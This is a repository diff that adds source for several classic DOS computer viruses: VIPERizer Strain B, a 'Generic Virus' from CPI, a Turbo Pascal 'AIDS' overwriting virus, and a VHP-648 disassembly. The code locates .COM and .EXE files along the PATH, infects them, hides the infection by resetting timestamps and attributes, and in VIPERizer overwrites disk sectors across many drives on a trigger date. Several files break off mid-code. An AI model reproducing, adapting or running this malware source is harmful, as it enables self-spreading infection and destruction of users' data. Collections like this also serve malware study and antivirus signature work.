v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +count = count_ - vir_dat + + CODE ENDS +END VCODE + + \ No newline at end of file diff --git a/v/VIP-B.ASM b/v/VIP-B.ASM new file mode 100755 index 0000000..9f4b8ea --- /dev/null +++ b/v/VIP-B.ASM @@ -0,0 +1,406 @@ +; +; VIPERizer, Strain B +; Copyright (c) 1992, Stingray/VIPER +; This is a Viral Inclined Programming Experts Ring Programming Team Production +; +; VIPER are: Stingray, Venom, and Guido Sanchez +; + +MOV_CX MACRO X ; Here is just a simple "mov cx,xxxx" macro. + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +VCODE: JMP virus + + NOP ; just a dud for the 'infected' file. + +v_start equ $ + + +virus: PUSH CX + mov ax,0ff0fh ; Thanks to RABID... Change Mem Marker + int 21h + cmp ax,101h ; Is VirexPC/FluShit in memory? + jne more_virus ; Nope. + jmp quit ; FUCK!!!!! +more_virus: + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + mov cx,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + + MOV AH,30H + INT 21H + nop + CMP AL,0 ;0 means it's version 1.X + JNZ dos_ok ;For version 2.0 or greater + JMP quit ;Don't try to infect version 1.X +dos_ok: + mov ah,2ch ; Get Time + int 21h ; Do it. + xor bx,bx ; VIPERize bx, for later use. + cmp dl,4 ; hund's of seconds 4? + jle print_message ; If 4 or less, print a message. + ; This serves as a random 1 in 20 + ; chance of the message printing + jmp short get_date ; No? What date is it...? +print_message: + mov dl, byte ptr [si+msg+bx] ; Get a byte of our message... + or dl,dl ; is it 0? (end of message) + jz get_date ; Get the date if it is... + sub dl,75 ; Unencrypt message + mov ah,2 ; Prepare to print one letter + int 21h ; do it! + inc bx ; point to next character. + jmp short print_message ; Do it again. +get_date: + mov ah,2ah ; What day is it? + int 21h ; Find out. + cmp dh,2 ; Is it february? + jne resume ; No? Oh well. + cmp dl,14 ; Is it valentines day? + jne resume ; No? Damn. + xor bx,bx ; VIPERize bx +cool: + mov dl,byte ptr [si+msg2+bx] ; This is pretty much the + or dl,dl ; same as the above 'print' + jz no_mas ; function. except I didn't + sub dl,75 ; make it a procedure. + mov ah,2 + int 21h + inc bx + jmp short cool +no_mas: + mov al,2 ; Start with drive C: +phri: + mov cx,255 ; Nuke a few sectors + mov dx,1 ; Beginning with sector 1!!! + int 26h ; VIPERize them!!!! Rah!!! + jc error ; Uh oh. Problem. + add sp,2 ; Worked great. Clear the stack... +error: + inc al ; Get another drive! + cmp al,200 ; Have we fried 200 drives? + je done_phrying ; Yep. + jmp short phri ; Nope. +done_phrying: + cli ; Disable Interrupts + hlt ; Lock up computer. +resume: + PUSH ES + MOV AH,2FH + INT 21H + nop + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + POP ES + MOV DX,dta ;Offset of new DTA in virus data area + nop + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + nop + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + nop + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + nop + LOOP check_next_4 ;Loop to check the next character + POP SI + POP ES + nop + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + nop + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + nop + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + nop + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir +moved_last_one: + xor si,si +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + CMP CH,'\' ;Ends with "\"? + nop + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + nop + REPZ MOVSB ;Move "*.COM",0 to workspace + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + nop + JMP SHORT find_first +find_next: + MOV AH,4FH + INT 21H + nop +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + nop + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + POP SI + MOV AX,OFFSET 4300H + nop + MOV DX,wrk_spc ;Point to \path\name in workspace + ADD DX,SI + INT 21H + nop + MOV [SI+old_att],CX ;Save the old attributes + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + nop + MOV DX,wrk_spc ;Offset of \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + nop + MOV AX,OFFSET 3D02H ;Read/Write + nop + MOV DX,wrk_spc ;Offset to \path\name in workspace + ADD DX,SI ;Point to \path\name + INT 21H + nop + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + nop + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,3FH + nop + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + nop + JB fix_time_stamp ;Quit, if read failed + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + MOV AX,OFFSET 4202H + xor cx,cx + xor dx,dx + INT 21H + nop + JB fix_time_stamp ;Quit, if it didn't work + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + nop + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + MOV AH,40H + MOV_CX virlen ;Length of virus, in bytes + nop + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + nop + JB fix_time_stamp ;Jump if error + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + MOV AX,OFFSET 4200H + xor cx,cx + xor dx,dx + INT 21H + nop + JB fix_time_stamp ;Jump if error + MOV AH,40H + MOV CX,3 + nop + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + nop +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + nop + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + nop + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + nop + MOV AH,3EH + INT 21H + nop +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + nop + MOV DX,wrk_spc + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + nop +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + nop + MOV DS,[SI+old_dts] + INT 21H + nop + POP DS + nop +quit: + POP CX + XOR AX,AX + XOR BX,BX + xor cx,cx + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH +vir_dat EQU $ +olddta_ DW 0 ;Old DTA offset +olddts_ DW 0 ;Old DTA segment +oldtim_ DW 0 ;Old Time +oldate_ DW 0 ;Old date +oldatt_ DW 0 ;Old file attributes +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H ;Start of JMP instruction +jmpdsp_ DW 0 ;The displacement part +fspec_ DB '*.COM',0 +pathad_ DW 0 ;Path address +namptr_ DW 0 ;Pointer to start of file name +envstr_ DB 'PATH=' ;Find this in the environment +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) ;Temporary DTA goes here +dtatim_ DW 0,0 ;Time stamp in DTA +dtalen_ DW 0,0 ;File length in the DTA +dtanam_ DB 0Dh dup (0) ;File name in the DTA +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 + +; These messages are encrypted. +; msg = "Will you be my..." +; msg2 = "VIPERizer, Strain B" +; "(c) 1992, Stingray/VIPER" +; "Happy Valentines Day!" + +_msg db 162,180,183,183,107,196,186,192,107,173,176,107,184,196,121,121 + db 121,085,088 + db 0 +_msg2 db 161,148,155,144,157,180,197,176,189,119,107,158,191,189,172,180 + db 185,107,141,085,088 + db 115,174,116,107,124,132,132,125,119,107,158,191,180,185,178,189 + db 172,196,122,161,148,155,144,157,085,088 + db 147,172,187,187,196,107,161,172,183,176,185,191,180,185,176,190 + db 107,143,172,196,108,085,088 + db 0 + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code +msg = _msg - vir_dat ; Disp. to 1st msg +msg2 = _msg2 - vir_dat ; Disp. to 2nd msg + CODE ENDS +END VCODE + \ No newline at end of file diff --git a/v/VIR1.ASM b/v/VIR1.ASM new file mode 100755 index 0000000..c15e7c2 --- /dev/null +++ b/v/VIR1.ASM @@ -0,0 +1,262 @@ + +;============================================================================= +; +; C*P*I +; +; CORRUPTED PROGRAMMING INTERNATIONAL +; ----------------------------------- +; p r e s e n t s +; +; T H E +; _ _ +; (g) GENERIC VIRUS (g) +; ^ ^ +; +; +; A GENERIC VIRUS - THIS ONE MODIFIES ALL COM AND EXE FILES AND ADDS A BIT OF +; CODE IN AND MAKES EACH A VIRUS. HOWEVER, WHEN IT MODIFIES EXE FILES, IT +; RENAMES THE EXE TO A COM, CAUSING DOS TO GIVE THE ERROR oPROGRAM TO BIG TO +; FIT IN MEMORY@ THIS WILL BE REPAIRED IN LATER VERSIONS OF THIS VIRUS. +; +; WHEN IT RUNS OUT OF FILES TO INFECT, IT WILL THEN BEGIN TO WRITE GARBAGE ON +; THE DISK. HAVE PHUN WITH THIS ONE. +; +; ALSO NOTE THAT THE COMMENTS IN (THESE) REPRESENT DESCRIPTION FOR THE CODE +; IMMEDIATE ON THAT LINE. THE OTHER COMMENTS ARE FOR THE ENTIRE ;| GROUPING. +; +; THIS FILE IS FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR AND CPI WILL NOT BE +; HELD RESPONSIBLE FOR ANY ACTIONS DUE TO THE READER AFTER INTRODUCTION OF +; THIS VIRUS. ALSO, THE AUTHOR AND CPI DO NOT ENDORSE ANY KIND OF ILLEGAL OR +; ILLICIT ACTIVITY THROUGH THE RELEASE OF THIS FILE. +; +; DOCTOR DISSECTOR +; CPI ASSOCIATES +; +;============================================================================= + +MAIN: + NOP ;| Marker bytes that identify this program + NOP ;| as infected/a virus + NOP ;| + + MOV AX,00 ;| Initialize the pointers + MOV ES:[POINTER],AX ;| + MOV ES:[COUNTER],AX ;| + MOV ES:[DISKS B],AL ;| + + MOV AH,19 ;| Get the selected drive (dir?) + INT 21 ;| + + MOV CS:DRIVE,AL ;| Get current path (save drive) + MOV AH,47 ;| (dir?) + MOV DH,0 ;| + ADD AL,1 ;| + MOV DL,AL ;| (in actual drive) + LEA SI,CS:OLD_PATH ;| + INT 21 ;| + + MOV AH,0E ;| Find # of drives + MOV DL,0 ;| + INT 21 ;| + CMP AL,01 ;| (Check if only one drive) + JNZ HUPS3 ;| (If not one drive, go the HUPS3) + MOV AL,06 ;| Set pointer to SEARCH_ORDER +6 (one drive) + + HUPS3: MOV AH,0 ;| Execute this if there is more than 1 drive + LEA BX,SEARCH_ORDER ;| + ADD BX,AX ;| + ADD BX,0001 ;| + MOV CS:POINTER,BX ;| + CLC ;| + +CHANGE_DISK: ;| Carry is set if no more .COM files are + JNC NO_NAME_CHANGE ;| found. From here, .EXE files will be + MOV AH,17 ;| renamed to .COM (change .EXE to .COM) + LEA DX,CS:MASKE_EXE ;| but will cause the error message oProgram + INT 21 ;| to large to fit in memory@ when starting + CMP AL,0FF ;| larger infected programs + JNZ NO_NAME_CHANGE ;| (Check if an .EXE is found) + + MOV AH,2CH ;| If neither .COM or .EXE files can be found, + INT 21 ;| then random sectors on the disk will be + MOV BX,CS:POINTER ;| overwritten depending on the system time + MOV AL,CS:[BX] ;| in milliseconds. This is the time of the + MOV BX,DX ;| complete oinfection@ of a storage medium. + MOV CX,2 ;| The virus can find nothing more to infect + MOV DH,0 ;| starts its destruction. + INT 26 ;| (write crap on disk) + +NO_NAME_CHANGE: ;| Check if the end of the search order table + MOV BX,CS:POINTER ;| has been reached. If so, end. + DEC BX ;| + MOV CS:POINTER,BX ;| + MOV DL,CS:[BX] ;| + CMP DL,0FF ;| + JNZ HUPS2 ;| + JMP HOPS ;| + +HUPS2: ;| Get a new drive from the search order table + MOV AH,0E ;| and select it, beginning with the ROOT dir. + INT 21 ;| (change drive) + MOV AH,3B ;| (change path) + LEA DX,PATH ;| + INT 21 ;| + JMP FIND_FIRST_FILE ;| + +FIND_FIRST_SUBDIR: ;| Starting from the root, search for the + MOV AH,17 ;| first subdir. First, (change .exe to .com) + LEA DX,CS:MASKE_EXE ;| convert all .EXE files to .COM in the + INT 21 ;| old directory. + MOV AH,3B ;| (use root directory) + LEA DX,PATH ;| + INT 21 ;| + MOV AH,04E ;| (search for first subdirectory) + MOV CX,00010001B ;| (dir mask) + LEA DX,MASKE_DIR ;| + INT 21 ;| + JC CHANGE_DISK ;| + MOV BX,CS:COUNTER ;| + INC BX ;| + DEC BX ;| + JZ USE_NEXT_SUBDIR ;| + +FIND_NEXT_SUBDIR: ;| Search for the next sub-dir, if no more + MOV AH,4FH ;| are found, the (search for next subdir) + INT 21 ;| drive will be changed. + JC CHANGE_DISK ;| + DEC BX ;| + JNZ FIND_NEXT_SUBDIR ;| + +USE_NEXT_SUBDIR: + MOV AH,2FH ;| Select found directory. (get dta address) + INT 21 ;| + ADD BX,1CH ;| + MOV ES:[BX],W@\@ ;| (address of name in dta) + INC BX ;| + PUSH DS ;| + MOV AX,ES ;| + MOV DS,AX ;| + MOV DX,BX ;| + MOV AH,3B ;| (change path) + INT 21 ;| + POP DS ;| + MOV BX,CS:COUNTER ;| + INC BX ;| + MOV CS:COUNTER,BX ;| + +FIND_FIRST_FILE: ;| Find first .COM file in the current dir. + MOV AH,04E ;| If there are none, (Search for first) + MOV CX,00000001B ;| search the next directory. (mask) + LEA DX,MASKE_COM ;| + INT 21 ;| + JC FIND_FIRST_SUBDIR ;| + JMP CHECK_IF_ILL ;| + +FIND_NEXT_FILE: ;| If program is ill (infected) then search + MOV AH,4FH ;| for another. (search for next) + INT 21 ;| + JC FIND_FIRST_SUBDIR ;| + +CHECK_IF_ILL: ;| Check if already infected by virus. + MOV AH,3D ;| (open channel) + MOV AL,02 ;| (read/write) + MOV DX,9EH ;| (address of name in dta) + INT 21 ;| + MOV BX,AX ;| (save channel) + MOV AH,3FH ;| (read file) + MOV CH,BUFLEN ;| + MOV DX,BUFFER ;| (write in buffer) + INT 21 ;| + MOV AH,3EH ;| (close file) + INT 21 ;| + MOV BX,CS:[BUFFER] ;| (look for three NOPYs) + CMP BX,9090 ;| + JZ FIND_NEXT_FILE ;| + + MOV AH,43 ;| This section by-passes (write enable) + MOV AL,0 ;| the MS/PC DOS Write Protection. + MOV DX,9EH ;| (address of name in dta) + INT 21 ;| + MOV AH,43 ;| + MOV AL,01 ;| + AND CX,11111110B ;| + INT 21 ;| + + MOV AH,3D ;| Open file for read/write (open channel) + MOV AL,02 ;| access (read/write) + MOV DX,9EH ;| (address of name in dta) + INT 21 ;| + + MOV BX,AX ;| Read date entry of program and (channel) + MOV AH,57 ;| save for future use. (get date) + MOV AL,0 ;| + INT 21 ;| + PUSH CX ;| (save date) + PUSH DX ;| + + MOV DX,CS:[CONTA W] ;| The jump located at 0100h (save old jmp) + MOV CS:[JMPBUF],DX ;| the program will be saved for future use. + MOV DX,CS:[BUFFER+1] ;| (save new jump) + LEA CX,CONT-100 ;| + SUB DX,CX ;| + MOV CS:[CONTA],DX ;| + + MOV AH,57 ;| The virus now copies itself to (write date) + MOV AL,1 ;| to the start of the file. + POP DX ;| + POP CX ;| (restore date) + INT 21 ;| + MOV AH,3EH ;| (close file) + INT 21 ;| + + MOV DX,CS:[JMPBUF] ;| Restore the old jump address. The virus + MOV CS:[CONTA],DX ;| at address oCONTA@ the jump which was at the + ;| start of the program. This is done to +HOPS: ;| preserve the executability of the host + NOP ;| program as much as possible. After saving, + CALL USE_OLD ;| it still works with the jump address in the + ;| virus. The jump address in the virus differs + ;| from the jump address in memory + +CONT DB 0E9 ;| Continue with the host program (make jump) +CONTA DW 0 ;| + MOV AH,00 ;| + INT 21 ;| + +USE_OLD: + MOV AH,0E ;| Reactivate the selected (use old drive) + MOV DL,CS:DRIVE ;| drive at the start of the program, and + INT 21 ;| reactivate the selected path at the start + MOV AH,3B ;| of the program.(use old drive) + LEA DX,OLD_PATH-1 ;| (get old path and backslash) + INT 21 ;| + RET ;| + +SEARCH_ORDER DB 0FF,1,0,2,3,0FF,00,0FF + +POINTER DW 0000 ;| (pointer f. search order) +COUNTER DW 0000 ;| (counter f. nth. search) +DISKS DB 0 ;| (number of disks) +MASKE_COM DB o*.COM@,00 ;| (search for com files) +MASKE_DIR DB o*@,00 ;| (search for dirYs) +MASKE_EXE DB 0FF,0,0,0,0,0,00111111XB + DB 0,@????????EXE@,0,0,0,0 + DB 0,@????????COM@,0 +MASKE_ALL DB 0FF,0,0,0,0,0,00111111XB + DB 0,@???????????@,0,0,0,0 + DB 0,@????????COM@,0 + +BUFFER EQU 0E00 ;| (a safe place) + +BUFLEN EQU 208H ;| Length of virus. Modify this accordingly + ;| if you modify this source. Be careful + ;| for this may change! + +JMPBUF EQU BUFFER+BUFLEN ;| (a safe place for jmp) + +PATH DB o\@,0 ;| (first place) +DRIVE DB 0 ;| (actual drive) +BACK_SLASH DB o\@ +OLD_PATH DB 32 DUP (?) ;| (old path) + + \ No newline at end of file diff --git a/v/VIR2.ASM b/v/VIR2.ASM new file mode 100755 index 0000000..681289b --- /dev/null +++ b/v/VIR2.ASM @@ -0,0 +1,121 @@ + +{ Beginning of source code, Turbo Pascal 3.01a } +{C-} +{U-} +{I-} { Wont allow a user break, enable IO check } + +{ -- Constants --------------------------------------- } + +Const + VirusSize = 13847; { AIDSYs code size } + + Warning :String[42] { Warning message } + = ZThis File Has Been Infected By AIDS! HaHa!Y; + +{ -- Type declarations------------------------------------- } + +Type + DTARec =Record { Data area for file search } + DOSnext :Array[1..21] of Byte; + Attr : Byte; + Ftime, + FDate, + FLsize, + FHsize : Integer; + FullName: Array[1..13] of Char; + End; + +Registers = Record {Register set used for file search } + Case Byte of + 1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer); + 2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte); + End; + +{ -- Variables--------------------------------------------- } + +Var + { Memory offset program code } + ProgramStart : Byte absolute Cseg:$100; + { Infected marker } + MarkInfected : String[42] absolute Cseg:$180; + Reg : Registers; { Register set } + DTA : DTARec; { Data area } + Buffer : Array[Byte] of Byte; { Data buffer } + TestID : String[42]; { To recognize infected files } + UsePath : String[66]; { Path to search files } + { Lenght of search path } + UsePathLenght: Byte absolute UsePath; + Go : File; { File to infect } + B : Byte; { Used } + LoopVar : Integer; {Will loop forever} + +{ -- Program code------------------------------------------ } + +Begin + GetDir(0, UsePath); { get current directory } + if Pos(Z\Y, UsePath) <> UsePathLenght then + UsePath := UsePath + Z\Y; + UsePath := UsePath + Z*.COMY; { Define search mask } + Reg.AH := $1A; { Set data area } + Reg.DS := Seg(DTA); + Reg.DX := Ofs(DTA); + MsDos(Reg); + UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 } + Reg.AH := $4E; + Reg.DS := Seg(UsePath); + Reg.DX := Ofs(UsePath[1]); + Reg.CX := $ff; { Set attribute to find ALL files } + MsDos(Reg); { Find first matching entry } + IF not Odd(Reg.Flags) Then { If a file found then } + Repeat + UsePath := DTA.FullName; + B := Pos(#0, UsePath); + If B > 0 then + Delete(UsePath, B, 255); { Remove garbage } + Assign(Go, UsePath); + Reset(Go); + If IOresult = 0 Then { If not IO error then } + Begin + BlockRead(Go, Buffer, 2); + Move(Buffer[$80], TestID, 43); + { Test if file already ill(Infected) } + If TestID <> Warning Then { If not then ... } + Begin + Seek (Go, 0); + { Mark file as infected and .. } + MarkInfected := Warning; + { Infect it } + BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7)); + Close(Go); + Halt; {.. and halt the program } + End; + Close(Go); + End; + { The file has already been infected, search next. } + Reg.AH := $4F; + Reg.DS := Seg(DTA); + Reg.DX := Ofs(DTA); + MsDos(Reg); + { ......................Until no more files are found } + Until Odd(Reg.Flags); +Loopvar:=Random(10); +If Loopvar=7 then +begin + Writeln(Z + + + + + + + + +Y); {Give a lot of smiles} +Writeln(ZY); +Writeln(Z Y); +Writeln(Z ATTENTION: + Y); +Writeln(Z I have been elected to inform you that throughout your process of + Y); +Writeln(Z collecting and executing files, you have accidentally H + \ No newline at end of file diff --git a/v/VIRBUB.ASM b/v/VIRBUB.ASM new file mode 100755 index 0000000..9b4e2fc --- /dev/null +++ b/v/VIRBUB.ASM @@ -0,0 +1,331 @@ + name Virus + title Disassembly listing of the VHP-648 virus + .radix 16 +code segment byte public + assume cs:code,ds:code,es:code + org 100h +environ equ 2C + +start: + jmp virus + +message db 'Hello, world!$' + + mov ah,9 + mov dx,offset message + int 21 + int 20 + +virus: + push cx ;Save CX + + mov dx,offset data ;Restore original first instruction +modify equ $-2 ;The instruction above is changed + ; before each contamination + cld + mov si,dx + add si,saveins-data ;Instruction saved there + mov di,offset start + mov cx,3 ;Move 3 bytes + rep movsb ;Do it + mov si,dx ;Keep SI pointed at data + + mov ah,30 ;Get DOS version + int 21 + cmp al,0 ;Less than 2.0? + jne skip1 + jmp exit ;Exit if so + +skip1: + push es ;Save ES + mov ah,2F ;Get current DTA in ES:BX + int 21 + mov word ptr [si+0],bx ;dtaadr + mov word ptr [si+2],es + pop es ;Restore ES + + mov dx,mydta-data + add dx,si + mov ah,1A ;Set DTA + int 21 + + push es ;Save ES & SI + push si + mov es,ds:[environ] ;Environment address + mov di,0 +n_00015A: ;Search 'PATH' in environment + pop si ;Restore data offset in SI + push si + add si,pathstr-data + lodsb + mov cx,8000 ;Maximum 32K in environment + repnz scasb ;Search for first letter ('P') + mov cx,4 ;4 letters in 'PATH' +n_000169: + lodsb ;Search for next char + scasb + jne n_00015A ;If not found, search for next 'P' + loop n_000169 ;Loop until done + pop si ;Restore SI & ES + pop es + + mov [si+16],di ;Save 'PATH' offset in poffs + mov di,si + add di,fname-data ;Point SI & DI at '=' sign + mov bx,si ;Point BX at data area + add si,fname-data + mov di,si + jmp short n_0001BF + +n_000185: + cmp word ptr [si+16],6C ;poffs + jne n_00018F + jmp olddta +n_00018F: + push ds + push si + mov ds,es:[environ] + mov di,si + mov si,es:[di+16] ;poffs + add di,fname-data +n_0001A1: + lodsb + cmp al,';' + je n_0001B0 + cmp al,0 + je n_0001AD + stosb + jmp n_0001A1 +n_0001AD: + mov si,0 +n_0001B0: + pop bx + pop ds + mov [bx+16],si ;poffs + cmp byte ptr [di-1],'\' + je n_0001BF + mov al,'\' ;Add '\' if not already present + stosb + +n_0001BF: + mov [bx+18],di ;Save '=' offset in eqoffs + mov si,bx ;Restore data pointer in SI + add si,allcom-data + mov cx,6 ;6 bytes in ASCIIZ '*.COM' + rep movsb ;Move '*.COM' at fname + mov si,bx ;Restore SI + + mov ah,4E ;Find first file + mov dx,fname-data + add dx,si + mov cx,11b ;Hidden, Read/Only or Normal files + int 21 + jmp short n_0001E3 + +findnext: + mov ah,4F ;Find next file + int 21 +n_0001E3: + jnc n_0001E7 ;If found, try to contaminate it + jmp n_000185 ;Otherwise search in another directory + +n_0001E7: + mov ax,[si+75] ;Check file time + and al,11111b ; (the seconds, more exactly) + cmp al,62d/2 ;Are they 62? + +;If so, file is already contains the virus, search for another: + + je findnext + cmp [si+79],64000d ;Is file size greather than 64,000 bytes? + ja findnext ;If so, search for next file + cmp word ptr [si+79],10d ;Is file size less than 10 bytes? + jb findnext ;If so, search for next file + + mov di,[si+18] ;eqoffs + push si ;Save SI + add si,namez-data ;Point SI at namez +n_000209: + lodsb + stosb + cmp al,0 + jne n_000209 + + pop si ;Restore SI + mov ax,4300 ;Get file attributes + mov dx,fname-data + add dx,si + int 21 + + mov [si+8],cx ;Save them in fattrib + mov ax,4301 ;Set file attributes + +;The next `db's are there because MASM can't assemble +; the instruction `and cx,0FFFE' correctly (the fool!): + + db 081,0E1,0FE,0FF +; and cx,word ptr (not 1) ;Turn off Read Only flag + mov dx,fname-data + add dx,si + int 21 + + mov ax,3D02 ;Open file with Read/Write access + mov dx,fname-data + add dx,si + int 21 + jnc n_00023E + jmp oldattr ;Exit on error + +n_00023E: + mov bx,ax ;Save file handle in BX + mov ax,5700 ;Get file date & time + int 21 + mov [si+4],cx ;Save time in ftime + mov [si+6],dx ;Save date in fdate + + mov ah,2C ;Get system time + int 21 + and dh,111b ;Are seconds a multiple of 8? + +;If so, destroy file (don't contaminate). Now this code is disabled. + jnz 010 + jmp short n_000266 ;CHANGED. Was jnz here + +;Destroy file by rewriting an illegal jmp as first instruction: + + mov ah,40 ;Write to file handle + mov cx,5 ;Write 5 bytes + mov dx,si + add dx,bad_jmp-data ;Write THESE bytes + int 21 ;Do it + jmp short oldtime ;Exit + +;Try to contaminate file: + +;Read first instruction of the file (first 3 bytes) and save it in saveins: + +n_000266: + mov ah,3F ;Read from file handle + mov cx,3 ;Read 3 bytes + mov dx,saveins-data ;Put them there + add dx,si + int 21 + jc oldtime ;Exit on error + cmp ax,3 ;Are really 3 bytes read? + jne oldtime ;Exit if not + +;Move file pointer to end of file: + + mov ax,4202 ;LSEEK from end of file + mov cx,0 ;0 bytes from end + mov dx,0 + int 21 + jc oldtime ;Exit on error + + mov cx,ax ;Get the value of file pointer + sub ax,3 ;Subtract 3 